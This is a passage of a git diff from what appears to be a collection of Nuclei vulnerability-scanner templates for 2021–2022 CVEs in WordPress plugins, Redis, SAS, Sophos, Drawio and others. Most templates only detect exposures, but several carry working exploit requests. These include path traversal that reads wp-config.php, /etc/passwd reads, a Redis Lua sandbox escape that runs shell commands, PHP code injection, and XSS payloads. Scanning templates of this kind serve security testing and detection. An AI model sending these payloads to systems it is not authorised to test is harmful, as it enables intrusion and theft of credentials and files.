https://github.com/glpi-project/glpi/releases/tag/9.5.6 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-39211 + cwe-id: CWE-668,CWE-200 + tags: cve,cve2021,glpi,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/ajax/telemetry.php" + - "{{BaseURL}}/glpi/ajax/telemetry.php" + matchers-condition: and + matchers: + - type: word + words: + - '"uuid":' + - '"glpi":' + condition: and + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-39312(1).yaml b/poc/cve/cve-2021-39312(1).yaml new file mode 100644 index 0000000000..02e3b11697 --- /dev/null +++ b/poc/cve/cve-2021-39312(1).yaml @@ -0,0 +1,40 @@ +id: CVE-2021-39312 +info: + name: WordPress True Ranker <2.2.4 - Local File Inclusion + author: DhiyaneshDK + severity: high + description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion. + reference: + - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79 + - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312 + - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php + - https://nvd.nist.gov/vuln/detail/CVE-2021-39312 + remediation: Fixed in version 2.2.4 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-39312 + cwe-id: CWE-22,CWE-22 + tags: cve,cve2021,lfi,wp,wordpress,wp-plugin,unauth,lfr +requests: + - raw: + - | + POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php + matchers-condition: and + matchers: + - type: word + part: body + words: + - "DB_NAME" + - "DB_PASSWORD" + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/30 diff --git a/poc/cve/cve-2021-39327-6341.yaml b/poc/cve/cve-2021-39327-6341.yaml deleted file mode 100644 index b2086e935f..0000000000 --- a/poc/cve/cve-2021-39327-6341.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-39327 -info: - name: WordPress BulletProof Security 5.1 Information Disclosure - author: geeknik - severity: medium - description: The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1. - reference: - - https://packetstormsecurity.com/files/164420/wpbulletproofsecurity51-disclose.txt - - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327 - - https://nvd.nist.gov/vuln/detail/CVE-2021-39327 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2021-39327 - cwe-id: CWE-200 - tags: cve,cve2021,wordpress,exposures -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/bps-backup/logs/db_backup_log.txt' - - '{{BaseURL}}/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'BPS DB BACKUP LOG' - - '==================' - condition: and - - type: status - status: - - 200 - - type: word - part: header - words: - - 'text/plain' - -# Enhanced by mp on 2022/03/23 diff --git a/poc/cve/cve-2021-41569(1).yaml b/poc/cve/cve-2021-41569(1).yaml new file mode 100644 index 0000000000..a65c219ae1 --- /dev/null +++ b/poc/cve/cve-2021-41569(1).yaml @@ -0,0 +1,28 @@ +id: CVE-2021-41569 +info: + name: SAS 9.4 build 1520 - Local File Inclusion + author: 0x_Akoko + severity: high + description: SAS/Intrnet 9.4 build 1520 and earlier allows Local File Inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro. + reference: + - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas + - https://nvd.nist.gov/vuln/detail/CVE-2021-41569 + - https://support.sas.com/kb/68/641.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-41569 + cwe-id: CWE-829 + tags: cve,cve2021,sas,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-44077(1).yaml b/poc/cve/cve-2021-44077(1).yaml new file mode 100644 index 0000000000..738964414c --- /dev/null +++ b/poc/cve/cve-2021-44077(1).yaml @@ -0,0 +1,32 @@ +id: CVE-2021-44077 +info: + name: Zoho ManageEngine ServiceDesk Plus - Remote Code Execution + author: Adam Crosser,gy741 + severity: critical + description: Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution. + reference: + - https://www.cisa.gov/uscert/ncas/alerts/aa21-336a + - https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/ + - https://github.com/horizon3ai/CVE-2021-44077 + - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/manageengine_servicedesk_plus_cve_2021_44077.rb + - https://nvd.nist.gov/vuln/detail/CVE-2021-44077 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-44077 + cwe-id: CWE-287 + tags: cve,cve2021,zoho,manageengine,rce,kev +requests: + - method: GET + path: + - "{{BaseURL}}/RestAPI/ImportTechnicians" + matchers-condition: and + matchers: + - type: word + words: + - '
' - - 'pm_query' - condition: and - - type: word - part: header - words: - - text/html diff --git a/poc/cve/cve-2022-0218-6615.yaml b/poc/cve/cve-2022-0218-6615.yaml deleted file mode 100644 index bb173a3990..0000000000 --- a/poc/cve/cve-2022-0218-6615.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2022-0218 -info: - name: HTML Email Template Designer < 3.1 - Stored Cross-Site Scripting (XSS) - author: hexcat - severity: medium - description: WordPress Email Template Designer WP HTML Mail allows stored XSS through an unprotected REST-API endpoint (CVE-2022-0218). - reference: - - https://www.wordfence.com/blog/2022/01/unauthenticated-xss-vulnerability-patched-in-html-email-template-designer-plugin/ - - https://wordpress.org/plugins/wp-html-mail/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-0218 - tags: wordpress,wp-plugin,xss,cve,cve2022 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2022-0218 - cwe-id: CWE-79 -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?rest_route=/whm/v3/themesettings" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"background":' - - '"footer":' - condition: and - - type: word - part: header - words: - - "application/json" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-0288(1).yaml b/poc/cve/cve-2022-0288(1).yaml deleted file mode 100644 index 7023ac1948..0000000000 --- a/poc/cve/cve-2022-0288(1).yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2022-0288 -info: - name: Ad Inserter < 2.7.10 - Reflected Cross-Site Scripting - author: DhiyaneshDK - severity: medium - description: The plugins do not sanitise and escape the html_element_selection parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. - remediation: Fixed in version 2.7.12 - reference: - - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2022-0288 - cwe-id: CWE-79 - tags: cve,cve2022,wordpress,xss -requests: - - method: POST - path: - - "{{BaseURL}}" - headers: - Content-Type: "application/x-www-form-urlencoded" - body: | - html_element_selection= - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - "" - - "ad-inserter" - condition: and - - type: word - part: header - words: - - "text/html" diff --git a/poc/cve/cve-2022-0346-6621.yaml b/poc/cve/cve-2022-0346-6621.yaml new file mode 100644 index 0000000000..7bf759bde0 --- /dev/null +++ b/poc/cve/cve-2022-0346-6621.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-0346 +info: + name: Google XML Sitemap Generator < 2.0.4 - Reflected Cross-Site Scripting & RCE + author: Akincibor + severity: high + description: | + The plugin does not validate a parameter which can be set to an arbitrary value, thus causing XSS via error message or RCE if allow_url_include is turned on. + classification: + cve-id: CVE-2022-0346 + reference: + - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6 + - https://wordpress.org/plugins/www-xml-sitemap-generator-org/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0346 + metadata: + verified: true + tags: xss,wp,wordpress,wp-plugin,cve,cve2022 +requests: + - method: GET + path: + - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp' + - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp' + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - "contains(body_1, 'PHP Extension') || contains(body_1, 'PHP Version')" + - "contains(body_2, '') || contains(body_2, 'Invalid Renderer type specified')" + condition: or + - type: word + part: header + words: + - text/html + extractors: + - type: regex + part: body + group: 1 + regex: + - '>PHP Version <\/td>([0-9.]+)' diff --git a/poc/cve/cve-2022-0422(1).yaml b/poc/cve/cve-2022-0422(1).yaml deleted file mode 100644 index 3e2de9127d..0000000000 --- a/poc/cve/cve-2022-0422(1).yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2022-0422 -info: - name: WordPress White Label MS < 2.2.9 - Reflected Cross-Site Scripting - author: random-robbie - severity: medium - description: The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue back in the response, leading to reflected cross-site scripting. - reference: - - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0422 - - https://plugins.trac.wordpress.org/changeset/2672615 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-0422 - cwe-id: CWE-79 - tags: cve,cve2022,wordpress,xss,wp-plugin -requests: - - raw: - - | - POST /wp-login.php?wlcms-action=preview HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B - matchers-condition: and - matchers: - - type: word - part: body - words: - - "alert(/XSS/);" - - type: word - part: body - words: - - "wlcms-login-wrapper" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-0543(1).yaml b/poc/cve/cve-2022-0543(1).yaml deleted file mode 100644 index 00d78f467c..0000000000 --- a/poc/cve/cve-2022-0543(1).yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2022-0543 -info: - name: Redis Sandbox Escape - Remote Code Execution - author: dwisiswant0 - severity: critical - description: | - This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The - vulnerability was introduced by Debian and Ubuntu Redis packages that - insufficiently sanitized the Lua environment. The maintainers failed to - disable the package interface, allowing attackers to load arbitrary libraries. - reference: - - https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce - - https://attackerkb.com/topics/wyA1c1HIC8/cve-2022-0543/rapid7-analysis#rapid7-analysis - - https://bugs.debian.org/1005787 - - https://www.debian.org/security/2022/dsa-5081 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 - cve-id: CVE-2022-0543 - metadata: - shodan-query: redis_version - tags: cve,cve2022,network,redis,unauth,rce,kev -network: - - inputs: - - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n" - host: - - "{{Hostname}}" - - "{{Host}}:6379" - read-size: 64 - matchers: - - type: regex - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/05/18 diff --git a/poc/cve/cve-2022-0595(1).yaml b/poc/cve/cve-2022-0595(1).yaml deleted file mode 100644 index c7eba1bbd5..0000000000 --- a/poc/cve/cve-2022-0595(1).yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2022-0595 -info: - name: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSS - author: akincibor - severity: medium - description: The plugin allows SVG files to be uploaded by default via the dnd_codedropz_upload AJAX action, which could lead to Stored Cross-Site Scripting issue. - reference: - - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de - - https://plugins.trac.wordpress.org/changeset/2686614 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2022-0595 - cwe-id: CWE-79 - tags: cve,cve2022,xss,wordpress,wp-plugin -requests: - - raw: - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161 - - -----------------------------92633278134516118923780781161 - Content-Disposition: form-data; name="size_limit" - - 10485760 - -----------------------------92633278134516118923780781161 - Content-Disposition: form-data; name="action" - - dnd_codedropz_upload - -----------------------------92633278134516118923780781161 - Content-Disposition: form-data; name="type" - - click - -----------------------------92633278134516118923780781161 - Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg" - Content-Type: image/jpeg - - - -----------------------------92633278134516118923780781161-- - - | - GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1 - Host: {{Hostname}} - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_2, "alert(document.domain)")' - - 'status_code_2 == 200' - condition: and diff --git a/poc/cve/cve-2022-0599(1).yaml b/poc/cve/cve-2022-0599(1).yaml new file mode 100644 index 0000000000..9c91f354e8 --- /dev/null +++ b/poc/cve/cve-2022-0599(1).yaml @@ -0,0 +1,41 @@ +id: CVE-2022-0599 +info: + name: The Mapping Multiple URLs Redirect Same Page WordPress plugin through 5.8 - Reflected XSS + author: scent2d + severity: medium + description: | + The Mapping Multiple URLs Redirect Same Page WordPress plugin through 5.8 does not sanitize and escape the mmursp_id parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. + reference: + - https://wpscan.com/vulnerability/4f1d45bc-d3bd-472c-959d-05abeff32765 + - https://wordpress.org/plugins/mapping-multiple-urls-redirect-same-page/ + - https://nvd.nist.gov/vuln/detail/cve-2022-0599 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-0599 + cwe-id: CWE-79 + tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=mmursp-list&view=edit&mmursp_id="> HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'id="mmursp_id" value="\">" />' + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(all_headers_2, "text/html")' + condition: and diff --git a/poc/cve/cve-2022-0660(1).yaml b/poc/cve/cve-2022-0660(1).yaml deleted file mode 100644 index 04b0da86ab..0000000000 --- a/poc/cve/cve-2022-0660(1).yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2022-0660 -info: - name: Microweber < 1.2.11 - Information Disclosure - author: amit-jd - severity: high - description: | - Generation of error message containing sensitive information while viewing comments from "load_module:comments#search="in Packagist microweber/microweber prior to 1.2.11. - reference: - - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291/ - - https://github.com/advisories/GHSA-hhrj-wp42-32v3 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0660 - - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cwe-id: CWE-209 - metadata: - verified: "true" - tags: cve,cve2022,microweber,disclosure,authenticated -requests: - - raw: - - | - POST /api/user_login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - POST /module/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Referer: {{BaseURL}}admin/view:comments - - class=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}} - req-condition: true - cookie-reuse: true - matchers: - - type: dsl - dsl: - - contains(body_2,'QueryException') - - contains(body_2,'SQLSTATE') - - contains(body_2,'runQueryCallback') - - 'contains(all_headers_2,"text/html")' - - 'status_code_2==500' - condition: and diff --git a/poc/cve/cve-2022-0776(1).yaml b/poc/cve/cve-2022-0776(1).yaml deleted file mode 100644 index 153fbe5e2b..0000000000 --- a/poc/cve/cve-2022-0776(1).yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2022-0776 -info: - name: RevealJS postMessage XSS - author: LogicalHunter - severity: medium - description: Cross-site Scripting (XSS) - DOM in GitHub repository hakimel/reveal.js prior to 4.3.0. - reference: - - https://hackerone.com/reports/691977 - - https://github.com/hakimel/reveal.js/pull/3137 - - https://huntr.dev/bounties/be2b7ee4-f487-42e1-874a-6bcc410e4001/ - classification: - cve-id: CVE-2022-0776 - tags: cve,cve2022,headless,postmessage,revealjs -headless: - - steps: - - args: - url: "{{BaseURL}}" - action: navigate - - action: waitload - - action: script - name: extract - args: - code: | - () => { - return (Reveal.VERSION <= "3.8.0" || Reveal.VERSION < "4.3.0") - } - matchers: - - type: word - part: extract - words: - - "true" diff --git a/poc/cve/cve-2022-0870(1).yaml b/poc/cve/cve-2022-0870(1).yaml deleted file mode 100644 index b1aa655570..0000000000 --- a/poc/cve/cve-2022-0870(1).yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2022-0870 -info: - name: Gogs - SSRF - author: Akincibor - severity: medium - description: Server-Side Request Forgery (SSRF) in Gogs prior to 0.12.5. - reference: - - https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-0870 - - https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb - - https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2022-0870 - cwe-id: CWE-918 - metadata: - shodan-query: http.favicon.hash:-449283196 - tags: cve,cve2022,ssrf,gogs -requests: - - method: GET - path: - - "{{BaseURL}}" - extractors: - - type: regex - name: version - internal: true - group: 1 - regex: - - '
\n\s+© \d{4} Gogs Version: ([\d.]+) Page:' - - type: regex - group: 1 - regex: - - '
\n\s+© \d{4} Gogs Version: ([\d.]+) Page:' - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '
\n\s+© \d{4} Gogs Version: ([\d.]+) Page:' - - type: dsl - dsl: - - compare_versions(version, '< 0.12.5') - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-0963(1).yaml b/poc/cve/cve-2022-0963(1).yaml deleted file mode 100644 index 7982c258c3..0000000000 --- a/poc/cve/cve-2022-0963(1).yaml +++ /dev/null @@ -1,64 +0,0 @@ -id: CVE-2022-0963 -info: - name: Microweber > 1.2.12 - Cross-Site Scripting - author: amit-jd - severity: medium - description: | - Microweber prior to 1.2.12 allows unrestricted upload of XML files, which malicious actors can exploit to cause a stored cross-site scripting attack. - reference: - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/ - - https://github.com/advisories/GHSA-q3x2-jvp3-wj78 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0963 - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2022-0963 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2022,xss,microweber,cms,authenticated -requests: - - raw: - - | - POST /api/user_login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - POST /plupload HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034 - Referer: {{BaseURL}}admin/view:modules/load_module:files - - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="name" - - {{randstr}}.xml - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="chunk" - - 0 - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="chunks" - - 1 - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="file"; filename="blob" - Content-Type: application/octet-stream - - alert(document.domain) - -----------------------------59866212126262636974202255034-- - - | - GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1 - Host: {{Hostname}} - req-condition: true - cookie-reuse: true - matchers: - - type: dsl - dsl: - - 'contains(body_3,"alert(document.domain)")' - - 'status_code_3==200' - - 'contains(body_2,"bytes_uploaded")' - condition: and diff --git a/poc/cve/cve-2022-1040(1).yaml b/poc/cve/cve-2022-1040(1).yaml deleted file mode 100644 index 5d4bea1f07..0000000000 --- a/poc/cve/cve-2022-1040(1).yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-1040 -info: - name: Sophos Firewall <=18.5 MR3 - Remote Code Execution - author: For3stCo1d - severity: critical - description: | - Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code. - reference: - - https://github.com/killvxk/CVE-2022-1040 - - https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker - - https://nvd.nist.gov/vuln/detail/CVE-2022-1040 - - https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-1040 - cwe-id: CWE-287 - metadata: - verified: true - shodan-query: http.title:"Sophos" - tags: cve,cve2022,sophos,firewall,auth-bypass,rce,kev -requests: - - method: POST - path: - - "{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"\U0001F99E\":\"test\"}" - headers: - X-Requested-With: "XMLHttpRequest" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "{\"status\":\"Session Expired\"}" - - type: word - part: header - words: - - "Server: xxxx" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/cve-2022-1054(1).yaml b/poc/cve/cve-2022-1054(1).yaml deleted file mode 100644 index 940b3ece59..0000000000 --- a/poc/cve/cve-2022-1054(1).yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2022-1054 -info: - name: RSVP and Event Management < 2.7.8 - Unauthenticated Entries Export - author: Akincibor - severity: medium - description: The RSVP and Event Management Plugin WordPress plugin before 2.7.8 does not have any authorisation checks when exporting its entries, and has the export function hooked to the init action. As a result, unauthenticated attackers could call it and retrieve PII such as first name, last name and email address of user registered for events - reference: - - https://wpscan.com/vulnerability/95a5fad1-e823-4571-8640-19bf5436578d - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2022-1054 - cwe-id: CWE-862 - tags: wp,wp-plugin,wordpress,cve,cve2022 -requests: - - method: GET - path: - - '{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'RSVP Status' - - '"First Name"' - condition: and - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-1597(1).yaml b/poc/cve/cve-2022-1597(1).yaml deleted file mode 100644 index a419e27878..0000000000 --- a/poc/cve/cve-2022-1597(1).yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2022-1597 -info: - name: WPQA < 5.4 - Reflected Cross-Site Scripting - author: veshraj - severity: medium - description: | - The plugin, used as a companion for the Discy and Himer themes, - does not sanitise and escape a parameter on its reset password - form which makes it possible to perform reflected XSS. - reference: - - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1597 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-1597 - cwe-id: CWE-79 - metadata: - google-dork: inurl:/wp-content/plugins/wpqa - verified: "true" - tags: xss,wordpress,wp-plugin,wp,cve,cve2022,wpqa -variables: - user: "{{to_lower(rand_base(5))}}" - pass: "{{user}}{{to_lower(rand_base(3))}}" - redirect_to: '">' -requests: - - raw: - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 - Content-Type: application/x-www-form-urlencoded - - user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 - Content-Type: application/x-www-form-urlencoded - - user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}} - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{redirect_to}}' - - '"success":1' - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-1598-6653.yaml b/poc/cve/cve-2022-1598-6653.yaml deleted file mode 100644 index 06b5a78a29..0000000000 --- a/poc/cve/cve-2022-1598-6653.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2022-1598 -info: - name: WordPress Plugin WPQA < 5.5 - Unauthenticated Private Message Disclosure - author: veshraj - severity: high - description: | - The plugin which is a companion to the Discy and Himer themes, lacks authentication in a REST API endpoint, allowing unauthenticated users to discover private questions sent between users on the site. - reference: - - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598 - classification: - cve-id: CVE-2022-1598 - metadata: - verified: true - google-dork: inurl:/wp-content/plugins/wpqa - tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor -requests: - - method: GET - path: - - '{{BaseURL}}/wp-json/wp/v2/asked-question' - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"id":' - - '"rendered":' - condition: and - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-1713(1).yaml b/poc/cve/cve-2022-1713(1).yaml new file mode 100644 index 0000000000..020db3ac09 --- /dev/null +++ b/poc/cve/cve-2022-1713(1).yaml @@ -0,0 +1,37 @@ +id: CVE-2022-1713 +info: + name: Drawio <18.0.4 - Server-Side Request Forgery + author: pikpikcu + severity: high + description: | + Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information. + reference: + - https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11 + - https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee + - https://nvd.nist.gov/vuln/detail/CVE-2022-1713 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-1713 + cwe-id: CWE-918 + metadata: + verified: true + shodan-query: http.title:"Flowchart Maker" + tags: 